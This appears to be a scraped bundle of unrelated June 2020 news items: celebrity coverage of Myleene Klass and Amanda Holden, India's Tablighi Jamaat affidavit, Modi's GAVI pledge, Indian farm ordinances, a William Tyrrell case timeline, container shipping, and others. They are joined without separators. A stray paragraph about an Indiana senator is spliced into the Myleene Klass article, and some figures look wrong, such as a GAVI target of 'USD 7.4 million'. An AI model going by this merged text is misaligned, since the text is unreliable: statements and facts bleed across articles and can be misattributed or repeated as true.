Amid the Black Lives Matter movement and the aftermath of the death of George Floyd, the star revealed she is trying to educate her kids.

Floyd, a 46-year-old black man, died last Monday after a white police officer knelt on his head for nearly nine minutes in Minneapolis, prompting a wave of protests.

Relaxed: After several days sporting elegant looks, Myleene appeared to be embracing casual Friday as she arrived at the radio studios

Fabulous Friday: The mother-of-three sported a rock-themed t-shirt with comfy leopard print trousers, along with her beloved chunky lace-up boots

Discussing her own experiences - yet conceding she cannot understand the struggles in the US - Myleene shared the lengthy caption beneath a childhood snap.

The star attended Notre Dame High School, Norwich, but transferred to the Cliff Park Ormiston Academy in Gorleston-on-Sea, to complete secondary school.

Myleene opened the post with explaining what she is working to do by revealing the struggles she has faced in her past. She wrote: 'I'm trying so hard to explain the complexities of racism to my children. How it happens...

'How whilst I don't understand the struggles a black person living in America might be experiencing, how I do understand and know my own experience of being a mixed race Filipino girl growing up in Norfolk...

Well-dressed: Myleene accessorised her look with her beloved white chain-strapped Chanel bag as she arrived to host her Smooth Radio show

Funny: She was clearly battling the windy weather as she arrived in her stylish look

'I had those words thrown at me. On other occasions, it wasn't just words, it was rock filled snowballs by a group of boys as I walked home, I had my hair cut in the school cloakrooms by some girls, later they threatened a lighter...

'There was spitting. Why does your mum speak like that? Why don't you have an accent? ''I was born here. Yeah, but you don't belong here''...

'I also remember the pride and relief I felt when a bus of school children, aged 10 pulled up next to my own bus and the children opposite all started making 'Chinese eyes and buck teeth' to then have my own bus retaliate with fist signs and fingers...

'It was small ''victory'', I felt embarrassed, hot, shamed but I remember it so well because for the first time, I didn't feel alone, I had a small token of solidarity that gave me courage'.

Speaking about her experiences at college, she went on: 'At college, I walked into the canteen only to have a group of students hand me their trays loaded up with dirty plates. You're Filipino, you're all cleaners right? Then the laughter.'

Busy: Myleene has continued to present her daily programme on Smooth Radio despite the COVID-19 lockdown

She went on to detail the ongoing racism she faces in her own area, as she explained: 'In the area I live now, ''get a Filipino'' is bandied around so easily when referring to getting a nanny, they don't even realise they're talking about a person, an actual person...

'A woman who will likely have sacrificed being with her own children for years to raise your snotty kids. Another popular quote... ''We love our Filipino nanny (still no name), she's like family, we send her home every year for Xmas''...

'Not doing a sister out of a job, but she's not your pet and she has a name.'

Speaking about how she is now living with and addressing the issues, she went on: 'The world looks different now. I am mixed race and I am so proud of that...

'Growing up in Norfolk, there wasn't much visibility as to what a girl like me could aspire to be. I was surrounded by incredible, selfless nurses and those in service (the same who are tending our covid patients and dropping like flies.'
Last week, he said he has a list of items to address this problem, said state Sen. Eddie Melton, D-Gary. We havent seen the items, nor has he set up a meeting with members of the black caucus. We are elected people who represent communities who are impacted the most by police brutality.
She frequently turns heads with her statement outfits, both on-camera and at high-profile events.

And Amanda Holden mixed glamour with comfort as she left Heart FM studios following her breakfast show in Leicester Square on Friday morning.

The TV and radio presenter, 49, commanded attention as she sported a powder blue suit from her collection with Fenn Wright Manson and ditched her signature heels in favour of white trainers.

Androgynous chic: Amanda Holden mixed glamour with comfort as she left Heart FM studios following her breakfast show in Leicester Square on Friday morning

The media personality - who revealed she named her blazer after her co-host Ashley Roberts - caught the eye in her sensational outfit, which she paired with a floral print blouse.

Upping the style ante, the BGT panellist accessorised with cat-eye shades and a designer bumbag.

The Wild At Heart actress dressed her healthy locks into waves, while her radiant complexion was accentuated with dewy make-up.

Off she goes: The host, 49, commanded attention as she sported a powder blue suit from her collection with Fenn Wright Manson and ditched her signature heels in favour of white trainers

Working it: The media personality - who revealed she named her blazer after her co-host Ashley Roberts - caught the eye in her sensational outfit, which she paired with a blouse

Amanda, who is known for her daring fashion choices, recently confessed she 'flashes her boobs' on purpose and pretends to be 'outrageous' on Britain's Got Talent.

The judge confessed she is 'very aware' of herself and what she should say next on the ITV family show.

Blonde beauty Amanda has made several headlines over the years for her 'inappropriate' dresses with one look even sparking 663 Ofcom complaints and another causing her an embarrassing nip slip live on air.

The radio presenter, who has also come under fire for her past swearing on BGT live shows, has now admitted it is all part of her stunt.

Glowing: The Wild At Heart actress dressed her healthy locks into waves, while her radiant complexion was accentuated with dewy make-up

Talking to The Sun, she said: 'Even though I am really open and very much myself most of the time, it's a fake circumstance when you're sitting on a panel and judging.

'I'm very aware of myself and what I should say next. Sometimes I pretend I'm not and I'm outrageous, and I'm like, "Oh I had no idea I was going to say that", or my boob pops out, "I had no idea that was going to happen!"

'You have circumstances where you know what you're doing and the situation is always ongoing, so you are always aware.'
Tablighi event: No need for CBI probe, Centre tells SC

India

pti-PTI

New Delhi, June 05: The Centre on Friday told the Supreme Court the Tablighi Jamaat event organisers at the Nizamuddin Markaz in Delhi in March deliberately and wilfully ignored directions by authorities over the risk of spread of COVID-19, and also rejected a plea for a CBI probe.

The Centre also alleged that on the contrary, an audio recording purportedly by Maulana Mohd. Saad, head of the Tablighi Jamaat, was found to be in circulation on social media platforms in which the speaker was allegedly heard asking his followers to defy the coronavirus lockdown and social distancing and to attend the religious gathering of the Markaz.

The Ministry of Home Affairs (MHA) made the submissions in an affidavit while giving in detail the steps taken by the Delhi Police, saying it is making all efforts to complete the investigation within the time frame to submit the charge sheet in the trial court.

Supreme Court asks states to take back all migrant residents in 15 days | Oneindia News

The Tablighi event had emerged as the hotspot for the coronavirus cases in the country. It also said the probe into assembly of thousands of people at Anand Vihar Bus Terminal in east Delhi during the migrants crisis besides the Tablighi Jamaat event in Nizamuddin Markaz is being conducted on a day-to-day basis by the Delhi police and there was no need for a probe by the Central Bureau of Investigation(CBI).

MHA blacklists 2,550 foreign Tablighi Jamaat members; bans entry into India for 10 years

A bench of Chief Justice S A Bobde and Justices A S Bopanna and Hrishikesh Roy directed the Delhi government and Delhi Transport Corporation(DTC) to file their reply and allowed the petitioner Supriya Pandita to file rejoinder affidavits and listed the matter for further hearing after two weeks.

Pandita in her plea had among other things sought a CBI probe into the matter relating to the assembly of people at Anand Vihar Bus Terminal and at the Markaz in Nizamuddin after the nationwide lockdown was announced, alleging the Delhi police has failed to control the people and that Maulana Saad was still evading arrest.

On the sequence of events, the MHA said Maulana Saad and others had allowed a huge gathering to assemble inside closed premises over a protracted period of time, without any semblance of social distance or provision of masks and sanitizers, and have caused a situation where a highly infectious disease such as COVID-19 may spread and threaten the lives of inmates.

It said that inspection of the Markaz was conducted by the SDM on various dates between March 26 and March 30 and during such exercise, around 1,300 persons from various states as well as foreign countries were found residing in the premises without maintaining any social distance with each other.

It is submitted that Maulana Mohd. Saad, others and the management of Markaz had deliberately, wilfully, negligently committed acts which were in direct contravention and to the lawful directions of the government and public servants, the affidavit alleged.

It added that a case was lodged against Maulana Saad under various provisions including The Epidemic Disease Act, Disaster Management Act and sections of IPC with crime branch police station and during the investigation of the case charges under Foreigners Act was also added.

In so far as the issue of assembly of people at Markaz in Nizamuddin is concerned, I respectfully state and submit that an FIR bearing FIR no. 63/2020 dated March 31, in this has already been lodged and the investigation in the said case, by the crime branch of Delhi police is already at an advanced state, the affidavit filed by Ran Vilas Premi, under-secretary of MHA, said.

The Ministry pointed out that there was no negligence or delay in dealing with the issue of Markaz incident and police had on March 21 contacted the authorities of Tablighi Jamaat Headquarters and apprised them of the COVID-19 situation and was directed to send the foreigners back to their respective countries and Indians to their native places.

However, no one paid any heed to the lawful directions of Delhi police and to the contrary, an audio recording purportedly by Maulana Mohd.

Saad head of the Tablighi Jamaat, was found to be in circulation on social media platforms in which the speaker was heard asking his followers to defy the lockdown and social distancing and to attend the religious gathering of the Markaz, it alleged.

The MHA said that hundreds of foreigners have already joined the investigation in this case and the probe has revealed that most of them had arrived on a tourist visa or e-visa obtained on false pretext and 960 such foreigners had been blacklisted on April 2 for their involvement in Tablighi Jamaat activities.

On the steps taken by the Delhi police, the MHA in its affidavit said that the probe into Markaz matter is being conducted on a day-to-day basis, in accordance with the mandate of law and all efforts are being made to finalize investigations and submit a report under section 173 CrPC (charge sheet) before the trial court in a time bound manner.

In view of the facts and circumstances it is respectfully submitted that prayer D (direction for CBI probe) of the writ petition does not merits any consideration by this court, the reply affidavit said, adding the plea needs to be disposed of.

The MHA said that despite substantial financial package announced by the Centre, the distressed members of society, some of the migrant workers due to anxiety, instigation and other psychological reasons started a journey to their home on foot.

It also told the top court that due to fake media reports and circulation of certain misinformation in the areas of Delhi, thousands of migrants gathered at Anand Vihar Bus terminal and Ghazipur border area on March 28.

Regarding the huge gathering of migrant workers at the Terminal, the government said it happened due to fake media reports that 1,000 buses for travel of stranded migrants to their home state would be available.

The Centre said necessary action had been taken to counter the rumours and also steps taken to ensure there is no repetition of similar incidents.

FIRs were also lodged against erring bus drivers for transporting the migrant workers towards Anand Vihar, it added.
A councillor has labelled the high level of fly-tipping during the Covid-19 restrictions as 'horrendous'.

Cllr Brendan Weld, who represents the Clane and Maynooth municipal district, said that the perpetrators 'should be ashamed of themselves'.

The politician was speaking during the first council meeting of any kind in the Council Chamber in Aras Chill Dara in Naas since restrictions began in March.

Condemning the illegal dumping around his base in Donadea and Prosperous, he added: "Throwing any kind of litter in the countryside is a slap in the face to the tireless community volunteers such as the Tidy Towns who put so much time and effort in to keeping everywhere looking beautiful."

He added: "There was 30 and 40 and 50 bags of rubbish overall thrown in ditches and back roads. The offenders should be ashamed of themselves.

"It's the taxpayers like you and me that pick up the bill for cleaning it up when the Council has to go out."

Cllr Weld also thanked the Environment Section of the Council for their dedication to cleaning up the rubbish over the past three months.
Prime Minister Narendra Modi on Thursday pledged USD 15-million as India's contribution to the vaccines alliance GAVI at the Global Vaccine Summit hosted by the UK. The summit, held virtually given the coronavirus pandemic lockdown around the world, was opened by British Prime Minister Boris Johnson to urge nations around the world to pledge funding for vaccinations to save millions of lives and protect the world from future outbreaks of infectious diseases.

Addressing the summit, Prime Minister Modi said, "Our support to Gavi is not only financial. India's huge demand brings down the global price of vaccines." "In today's challenging context, I want to reiterate that India stands in solidarity with the world. Our proven capacity to produce quality medicines and vaccines at low cost, our own domestic experience in rapidly expanding immunisation, and our considerable scientific research talent are all at the service of humanity," he said.

Modi was among around 35 heads of state and government participants, including US President Donald Trump, to virtually join the conference aimed at raising USD 7.4 million to immunise a further 300 million children in the world's poorest countries by 2025. Modi pledged that the world can "count on India's support" in the critical mission of vaccination against infectious diseases, highlighting the country's role as the world's fourth-largest producer of vaccines.

The Indian prime minister also pointed to the government's Mission Indradhanush, which aims to ensure full vaccination of children and pregnant women, as a sign of the importance attached to immunisation within the country.

He said: "We are fortunate to contribute to the immunisation of about 60 per cent of the world's children. India recognises and values the work of Gavi, which is why we became a donor to Gavi while still being eligible for Gavi's support." "Gavi is not just a global alliance, it is also a symbol of global solidarity and a reminder that by helping others, we can also help ourselves," he said.

The UK government said the funding raised from the summit will not only protect children from deadly diseases like polio, diphtheria and measles and save up to 8 million lives, but will also help ensure a global recovery from the coronavirus.

"Just as the UK is the single biggest donor to the international effort to find a coronavirus vaccine, we will remain the world's leading donor to Gavi, contributing 1.65 billion pounds over the next five years. I urge you to join us to fortify this lifesaving alliance and inaugurate a new era of global health cooperation, which I believe is now the most essential shared endeavour of our lifetimes," Johnson said in his address.

The UK said that vaccinating millions of children against these other deadly diseases would help protect healthcare systems in the world's poorest countries so they can cope with rising coronavirus cases. Health experts have warned that if the virus is left to spread in developing countries, this could lead to future waves of infection reaching the UK, Downing Street said.

As the world focuses on tackling coronavirus, the World Health Organisation (WHO), UNICEF and Gavi have warned that the pandemic is disrupting routine immunisation, affecting approximately 80 million children under the age of one across 68 countries. "The world is quite rightly focusing on responding to the invisible killer that is coronavirus. But we cannot allow this pandemic to disrupt routine immunisation in some of the world's poorest countries and cause other deadly diseases to spread across the globe," said UK International Development Secretary Anne-Marie Trevelyan.

"We know vaccines work, which is why at today's summit we need others to step up and pledge funds to Gavi, so it can continue to save the lives of millions of children and protect everyone from infectious diseases," she said. Gavi is addressing the immediate needs triggered by coronavirus, including providing essential medical supplies and helping to increase testing and surveillance of the disease.

As part of the global effort to find a coronavirus vaccine, the UK is also the single largest donor of any country to the Coalition for Epidemic Preparedness Innovations' (CEPI) urgent appeal. If a safe and effective coronavirus vaccine is developed, Gavi will have a role in its delivery around the world. Global access will ensure a collective international recovery and reduce the risk of future waves of infection.

Dr Seth Berkley, CEO of Gavi, the Vaccine Alliance, said: "Over the past two decades we have witnessed incredible progress boosting vaccine coverage in the world's poorest countries: more children in more countries are now protected against more diseases than at any point in history. "However, these historic advances in global health are now at risk of unravelling as Covid-19 causes unprecedented disruption to vaccine programmes worldwide. We face the very real prospect of a global resurgence of diseases like measles, polio and yellow fever, which would put us all at risk.

"That's why the Global Vaccine Summit is so important, bringing together leaders from around the world - led by the UK - to build global health security and keep us all safe from further outbreaks," Berkley said.

Also read: With SE Asian and European coronavirus, India likely got lucky with weaker strain: CCMB

Also read: Coronavirus: Authors retract Lancet article that found HCQ risks
Mohd Rashdan Jamaludin has extensive experience as an editor and business journalist in Malaysia. As part of the #MYMediaMatters campaign, supported by the EU, he sees that online media hold the power where media freedom is concerned because print media is overly bound by government regulations.

1. What does it mean to be a journalist in Malaysia?

I believe, generally, journalists are still held in high regard, and their profession is well-respected in the country.

Personally, from experience (as I came upon the profession by chance), being a journalist allows you access to a wide scope of subject matters and field experts  makes the daily routine a tad more interesting and exciting.

2. Moving forward, how do you expect media freedom to evolve in Malaysia?

With the advent of information & communications technology (ICT), I believe the online media will get to exercise more media freedom in reporting, compared to the conventional print publications and broadcast channels, as the latters very existence will continue to be strictly licensed, governed and bound by the regulations dictated by the Malaysian Government.

3. What can we do to improve media freedom?

To improve on media freedom, the media practitioners themselves must comprehend the vital roles they play, as the Fourth Estate, or the Fourth Pillar of Democracy, as well as in shaping and influencing the state of affairs of the civil society at large  and thereafter, be vocal about the importance of media freedom to sustain such objective roles.

Organically, media practitioners must not bow to pressures from their own company owners and shareholders.

4. What can we do to ensure media freedom?

Simply continue to be vocal, and refused to be heavy-handedly silenced about anything.

The #MYMediaMatters campaign is part of a multi-year project, Strengthening Malaysias Media for Change, supported by the European Union. For details please see the IFJ project page.

Follow us on Twitter, Facebook and Instagram for updates.
The Socialist Equality Party (Australia) is holding an online lecture this Tuesday on the contemporary significance of the struggle waged by Leon Trotsky and the Left Opposition against the Stalinist betrayal of the Russian Revolution. The event is one in a series of six lectures being delivered on the history of Trotskyism.

The lecture will review the political fight launched by Trotsky, the co-leader of the revolution, beginning in 1923. The Left Opposition was founded in that year to oppose the increasing suppression of inner-party democracy, the growing influence of a burgeoning state bureaucracy and to fight for policies that would strengthen the social base of the revolution, the industrial working class.

It will explain the significance of Stalins adoption, in 1924, of the program of socialism in one country, which was a repudiation of the internationalist foundations of Marxism and of the revolution itself. The turn to nationalism was to have disastrous consequences, resulting in the defeat of mass struggles by the working class in Britain, China and Germany, and intensifying the isolation of the Soviet Union.

The lecture will outline the internationalist perspective elaborated by Trotsky and the Left Opposition, which was later to serve as the foundation of the Fourth International and the contemporary socialist movement. It will elaborate the intense relevance of the program of world socialist revolution, amid a global crisis of capitalism and the emergence of international struggles by the working class, exemplified by the current upheavals against police violence.

The lecturer will be Cheryl Crisp, a long-standing member of the Trotskyist movement. Crisp, who has played a leading role in the SEP and its predecessor organisation since 1972 is the assistant national-secretary of the Socialist Equality Party (Australia).

The event will be held on Zoom at 7 p.m. (Australian Eastern Standard Time). Time conversions are available here. To participate, download the app or join on a web browser, and click on this link before the lecture begins:

https://zoom.us/j/93986680060
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Linkedin News Desk (Agence France-Presse) Paris, France  Fri, June 5, 2020 09:30 595 fc6853813033f564188675f8bdc4c740 2 World UNESCO,journalists,killing,violence-against-journalists,Yemen,murder Free

The UN's cultural organization on Thursday condemned the killing of Nabil Hasan al-Quaety, a Yemeni journalist who contributed to AFP, in the southern city of Aden this week.

"I call on all parties to respect their obligation under the Geneva Conventions to protect journalists," the UN Educational, Scientific and Cultural Organization (UNESCO) director general Audrey Azoulay said in a statement.

"Brave reporters like Nabil Hassan carry out important work keeping people in Yemen informed and documenting the extreme conditions their country is experiencing. They must be offered every possible protection."

The 34-year-old videographer and photographer, who also worked for other major news organizations in the region, was shot in his car on Tuesday by unknown assailants shortly after leaving his home in Aden.

A security source told AFP the armed men had escaped.

Yemen's government and the secessionist Southern Transitional Council (STC) both condemned the killing.

Quaety, who also went by the name Nabil Hasan, began working with AFP in 2015. He was married with three children and had a fourth on the way.

In 2016, he was a finalist in Britain's Rory Peck Award for his work covering the long conflict that pits the government against the Huthi rebels, with an entry the judges described as "rare and outstanding".

In January 2019, Quaety survived a deadly Huthi drone attack on Yemen's largest airbase, Al-Anad, north of Aden, during a military parade he was covering.

Another AFP contributor in Yemen, photographer and videographer Abdullah al-Qadry, was killed in 2018 during shelling while on assignment for Yemen's Belqees television.

Yemen lies in 167th position out of 180 countries on Reporters Without Borders' world press freedom index.
By Akbar Mammadov

President Ilham Aliyev has said Azerbaijan is narrowing the scale of corruption and the shadow economy with systemic institutional measures.

Aliyev made the remarks at the opening of the Asan Hayat centre in Aghdjabadi district on June 4.

Our modern approach is reflected in the example of this service. We see and prove that it is possible not only to fight corruption and bribery but also to succeed. We use all means. Of course, I think that the main role here is played by systemic measures. Because we already see in the example of ASAN Service that it is possible here," the president said.

Aliyev stressed that administrative and punitive measures are being taken to fight corruption.

The Azerbaijani public is being informed about this issue. I can say that our fight against corruption and bribery is highly appreciated in thousands of letters addressed to me. Citizens appreciate and like it, and we see that more and more signals are coming from places, he noted.

Furthermore, Aliyev has emphasized the importance of public control over corruption.

Every signal of official arbitrariness will be investigated. Of course, these signals must be fair. Here, any smear campaign should not be allowed and should not be taken spontaneously. Each signal will be seriously investigated, Aliyev added.

The president has said that therefore, first of all, justice and public control must be ensured. I am confident that we have won the fight against corruption and bribery, he noted.

Furthermore, Aliyev underlined that Azerbaijan increased the number of "ASAN service" centres to 19 in a short period of time, and this process continues. Currently, eight centres are planned to be built, he said.

Since the launch of the ASAN service, there have been about 38 million applications. The fact that the activity of ASAN service best reflects the activity of citizens is that the approval rate is 99.4 per cent. Almost 100 per cent of our citizens are satisfied with the ASAN service centres, the president noted.

In this regard, Aliyev said that ASAN service is an intellectual product of Azerbaijan.

I have said once, I want to say again, that we are already exporting this intellectual product. Agreements have been signed with several countries on the establishment of our "ASAN service" centres in those countries, he said.

In addition, President Aliyev highlighted the fact that the activity of "ASAN service" has given a great impetus to the development of innovations in Azerbaijan.

ASAN service is the national brand of Azerbaijan. It is no coincidence that the UN praised the activities of the ASAN service centres and presented a special award, said Aliyev.

In the meantime, the president noted that Azerbaijan is currently seriously engaged in the self-employment program, adding that this year, at least 10,000 people will be involved in the program.

He also commented on the World Health Organizations praise of Azerbaijans work to combat COVID-19.

This shows that our measures are purposeful, effective and courageous, the president said.

---

Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97

Follow us on Twitter @AzerNewsAz
A commercial buyer of farm produce will only need a permanent account number or PAN and no licence or other documentation to enter into a transaction, while a farmers land cannot be taken as a collateral or confiscated for violation of a farming contract, key provisions of the two draft ordinances announced by the Cabinet on June 4 show.

The Union Cabinet had announced far-reaching steps to unshackle the countrys farm sector, approving amendments to the six-decade-old Essential Commodities Act and pushing two ordinances, one aimed at freeing up farm trade from all restrictions and the other guaranteeing a legal framework for purchases at pre-agreed prices to farmers.

According to the ordinances, a buyer will have to pay a farmer within three days and in the meantime give the farmer a revenue stamped money receipt. A farmer can directly approach district-level magistrate in case of dispute with a buyer. Such transaction will not be subject to any taxes at the point of sale, the draft provisions show.

The Farming Produce Trade and Commerce (Promotion and Facilitation) Ordinance, 2020 will effectively bring the curtains down on the decades-old agricultural produce market committees regulations (APMC) system that regulates buying and selling of farm produce. An ordinance is a law promulgated when Parliament is not in session.

APMC regulations require farmers to only sell to licensed middlemen in notified markets, usually in the same area where farmers reside, rather than in an open market, scuttling price discovery.

Ushered in during the 1960s, APMC regulations were meant to protect farmers from distress selling. Over time, these have often facilitated the creation of cartels and monopolies, evidence suggests.

In December 2010, when onion prices peaked, a probe by the countrys statutory anti-monopoly body, the Competition Commission of India, revealed that one firm accounted for nearly a fifth of the total onion trade for that month at Lasalgoan APMC, Asias largest onion market in Maharashtras Nashik.

These reforms in agricultural marketing have been a long time in the making and various government panels and economists have often argued for changing existing structures of agricultural trade.

Draft provisions of The Farmers (Empowerment and Protection) Agreement on Price Assurance and Farm Services Ordinance, 2020, which will usher new rules for contract farming and futures trading, show that farm land cannot be taken as collateral or confiscated by the sponsor of contract farming.

If market prices of crops at the time of actual transaction is higher than what was agreed upon by farmer and buyer of farm produce, the farmer will get a share in higher prices too.

The ordinance will empower farmers for engaging with processors, aggregators, large retailers, exporters etc., on a level playing field without any fear of exploitation, a Cabinet note said.

The ordinance is the first Indian law to shift the risk of farming from farmers to large buyers and aggregators by potentially ushering a legal framework where contract farming will be undertaken as pre-assured prices. This will protect farmers from price crashes.

According to NR Bhanumurthy, a professor at the National Institute of Public Finance and Policy, New Delhi, there could be initial hiccups in implementation of the law as it seeks to move all risks to the sponsor of contract farming with none on the farmer.

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Hundreds of protesters calling for the resignation of Ukraine's interior minister, Arsen Avakov, set off smoke bombs and fireworks in front of the parliament in Kyiv on June 5. Avakov, who was inside making a speech, has come under intense criticism in recent days. Critics say the minister has failed to rein in police abuses, bring about reform, or promote law and order in the country during his six years in office. But Ukrainian President Volodymyr Zelenskiy has thrown his support behind Avakov, calling him "a really powerful minister."
SYDNEY, June 5 (Reuters) - Australia's most populous state has lodged a legal application to stop a Black Lives Matter protest occurring in Sydney, state Premier Gladys Berejiklian said on Friday.

Thousands of people have pledged to attend a protest organised in Sydney on Saturday in the wake of death of black American George Floyd in U.S. police custody.

The protest had secured permission as it originally planned to have fewer than 500 people present. But Berejiklian said when it became clear that thousands planned to attend, the legal application was made to the state's Supreme Court. (Reporting by Colin Packham; Editing by Muralikumar Anantharaman)
Still missing: William Tyrrell vanished from his foster grandmother's home five years ago

2014

September 12 - Dressed in a Spider-Man outfit, three-year-old William Tyrrell goes missing from the garden while visiting members of his foster family on the NSW north coast.

September 21 - Police stop searching for the missing boy after scouring surrounding bushland and neighbouring houses.

2015

January 20 - Police search the home and business of washing machine repairman Bill Spedding, who had been due to carry out repairs at the house at the time the three-year-old went missing.

Detectives take items for testing including a mattress, computer and vehicles. They drain his septic tank.

January 23 - The washing machine repairman publicly denies any involvement in William's disappearance and says he and his wife are on the verge of a breakdown due to the public attention.

February 19 - Homicide detectives take over the case and say it's likely William was abducted.

March 2 - Police fruitlessly search an area of bushland near Bonny Hills for three days after a tip-off.

April 17 - William's foster parents speak publicly for the first time in an emotional video released through police which does not identify them.

April 17 - Police say the boy may have been a victim of a paedophile ring.

September 6 - The Nine Network's 60 Minutes reveal two suspicious cars were parked on the street the morning William went missing.

September 12 - 'Where's William' week is launched one year after he disappeared.

2016

September 12 - A $1million reward is offered for information leading to William's return.

2017

August 24 - William's foster child status is revealed after a landmark court ruling.

2018

June 12 - NSW Police announce the start of a four-week forensic search of bushland conducted by Strike Force Rosann.

June 14 - William's grandmother scolds police who have failed to find the young boy after four years, and claims their latest search is 'just for show'.

June 26 - The forensic search continues on what would have been William's seventh birthday.

June 27 - Strike Force Rosann announces it will move the search to an 800sqm block of bushland just 4km from where William was last seen alive.

June 5 - The latest search ends with Detective Chief Inspector Gary Jubelin saying the case could soon go to a coroner.

August - Investigation leader Detective Chief Inspector Gary Jubelin and a sergeant get into a disagreement during a briefing.

September 13 - Police reveal they found a burned out car wreck belonging to a former person of interest.

December 19 - Coroners say William could still be alive and the inquest will determine if he died or not.

2019

February - DCI Jubelin is removed from the investigation amid a misconduct probe.

March 25 - The inquest into William Tyrrell's disappearance begins, with William's biological and foster parents appearing over the course of a week.

The inquest's first batch of hearings focused on William's family situation and the events leading up to his disappearance.

Both his foster and biological parents were quizzed, as were neighbours who helped in the search.

It was disclosed that William's biological parents absconded with him for six weeks in 2012, following a children's court order.

William's biological father slammed authorities for letting them down.

'Authorities f***ed up ... The minister had a duty of care to keep William safe until he was 18. That was not the case at all.'

May: DCI Jubelin quits the Police Force.

June: Four charges of breaching the Surveillance Devices Act are laid against DCI Jubelin. He denies any wrongdoing whatsover

August: The second tranche of inquest hearings began on Wednesday August 7

Inquest hears Bill Spedding, a NSW mid-north coast repairman and one-time person of interest in the disappearance of William Tyrrell, met his wife for coffee about 9.30am in Laurieton, a 15-minute drive from Kendall, on the day William went missing.

They then attended a school assembly across the road to see a child in their care receive an award.

The inquest heard how a man who claims he saw William Tyrrell unrestrained in the back of a speeding car on the day the child went missing was waiting for police to interview him to tell them what he saw.

He told the inquest he contacted police but did not hear back about an interview.

It took it took almost 1000 days before he was able to reveal what he saw to police.

The coroner orders an urgent probe into the final image that was taken on the day William vanished as metadata suggests the picture may have been taken 118 minutes earlier than originally thought.

The image has a 'created time' of 7.39am and a 'corrected time' of 9.37am, a new document from the 2000-page evidence brief.

The coronial inquest has been delayed for another eight months with the next round of hearings happening in March 2020.

November 11: The deputy state coroner releases footage of William Tyrrell and family at Heatherbrae McDonalds, on September 11, 2014

Feb - March 2020: Gary Jubelin defends four charges of illegally recording person of interest Paul Savage in court hearing

February 21: Daily Mail Australia reveals Frank Abbott was arrested in custody for the purposes of a police interview about William's disappearance

March 2020: The coronial inquest into William's disappearance resumes but stops with two days to go due to the coronavirus outbreak

April 6, 2020: Magistrate Ross Hudson delivers his verdict in Gary Jubelin case

April 8, 2020: Jubelin is convicted of all four charges and fined $10,000. Ex-cop says he will appeal

June 22, 2020: Police and SES launch new search for William Tyrrell near Herons Creek, where Abbott once lived

June 26, 2021: Police acknowledge William Tyrrell's 10th birthday

November 15, 2021: Detectives return to Kendall after receiving new information and admit they are searching for a body. His foster parents are reported to be persons of interest in the case

December 15, 2021: Police reveal a bone fragment of unknown origin has been found in the search ahead, and are planning to wrap up the search by the end of the week
By Jonathan Saul, Lisa Baertlein and Sonya Dowsett

LONDON/LOS ANGELES/MADRID, June 5 (Reuters) - The $1 trillion container shipping industry is in a slowdown. Literally.

Some shipping lines, whose retail customers are being hammered by the coronavirus pandemic, are reducing sailing speeds and taking longer routes around Africa, avoiding Suez canal passage fees, according to the companies and ship-tracking specialists.

Many are also cutting down the number of voyages and providing short-term storage for clients as the industry, which includes heavyweights like Maersk, MSC and Hapag-Lloyd, faces its biggest downturn since the 2008 financial crisis.

The new tactics not only save on costs, but also help adapt to the needs of cash-crunched retailers - among their biggest customers - who are stuck with huge inventory surpluses thanks to COVID-19 store closures and a collapse in consumer demand.

Slower shipping times also means importers can delay payments made on delivery.

From sportswear maker Puma to mall stalwart Gap , many retailers have been forced to reduce or slow down shipments of new merchandise. Civil unrest in the United States has compounded their problems by further clouding the prospect for a recovery in the world's biggest retail sales market.

Puma's Chief Executive Bjorn Gulden, for example, said it was managing some of its excess inventory by stowing it on slow-going ships as stores in the United States and Europe tentatively reopen.

However, at the same time, the shipping slowdown has created headaches for those retailers, from Walmart and Amazon to shoe seller Rothy's, who have never stopped selling products to homebound consumers, ranging from books and shoes to exercise equipment, much of it sold online.

Now those retailers are fighting for space on the fewer, faster-moving ships on the high seas.

"What we are seeing is quite a mixed situation from cargo owners, some of which are resuming normal shipment of their cargoes, others are requesting routings via longer transit times," said Marcus Leaver, chief operating officer of sea freight at Hellmann Worldwide Logistics, which organizes shipments for companies such as retailers.

Story continues

A lack of space on ships is leading to more "rollovers", where containers are bumped from packed vessels to later ones, like passengers on oversold flights, according to importers.

Spanish retailer Mango, which has continued to sell online during the pandemic, told Reuters it was seeing an increase in service cancellations by shipping companies, which caused instability and "space problems".

It added that 99% of its imports from Asia were now coming by sea because air costs had gone up due to a lack of flights and the priority given to medical equipment.

'A LOT OF TROUBLE'

The stakes are high for the container industry. Retail goods such as clothes, luggage and furniture represent about 15% of shipped volumes, a Reuters analysis of industry data shows.

Soren Skou, CEO of Maersk, the world's biggest container shipping group, said many of its big customers were retailers or suppliers to retailers.

"There are some traditional retailers in a lot of trouble and, as you know, some have started to go bankrupt," Skou said last month. "Some customers ask us to delay shipments and we have found extra storage and warehouse facilities for them."

Shereen Zarkani, Maersk's global head of sales, told Reuters: "One customer told us: If you make my container go around the world a couple of times that would be good."

The volume of apparel arriving in the United States by ship dropped nearly 20% in January-May versus the same period last year, and reached 379,910 TEUs (20-foot equivalent container units), data from logistics technology company Descartes showed.

Furniture volumes fell over 12% in the same period, while luggage dropped over 34%.

The first blow landed when the novel coronavirus forced China to shutter factories in February, cutting off supplies of apparel, electronics and other retail goods to the world. The second came when stores in Europe and the United States closed, leading companies like Topshop owner Arcadia Group, Gap and off-price retailers Marshalls and TJ Maxx to cancel orders.

"When you look at the East-West trades we are right now looking at 15% to 20% (taken out) across the industry," Rolf Habben Jansen, CEO of German-based Hapag-Lloyd, said last month pointing to the fall in capacity in recent weeks.

OUTLOOK: STORMY

There does not appear to be any let-up in sight for container shipping companies as their retail clients could still be feeling acute financial pain in July, when they begin placing orders for holiday and winter merchandise.

Jay Foreman, CEO of Florida-based toy supplier Basic Fun, which sells to retailers including Walmart and Target Corp , said he expected a 20% decrease in business this year.

Indeed, the outlook for retail is dim: Euromonitor forecasts that U.S. retail sales will fall more than 6% this year.

James Conroy, CEO of California-based clothing company Boot Barn Holdings, told analysts it faced "several headwinds".

"High unemployment, extremely depressed oil prices and a shift toward online shopping will present challenges for us as we progress through the next six to 12 months," he said. (Additional reporting by James Davey in London, Jacob Gronholt-Pedersen in Copenhagen and Emma Thomasson in Berlin; Editing by Pravin Char)
After the Second World War, many refused to believe that German civilians were unaware of the torture and murder of millions within their country, that they should and could have stopped the Nazis. Today, the only glimmer of good to come from George Floyds murder may be that it was not hidden. Hundreds of millions saw, and can never un-see, an American police officer so sure of his immunity that he choked another man to death in full public view. With this evidence flashed around the world, we have no excuse to ignore the threat of U.S. President Donald Trumps steady march toward a fascist, racist police state that sanctions public murder.

We must and can stop this evil.

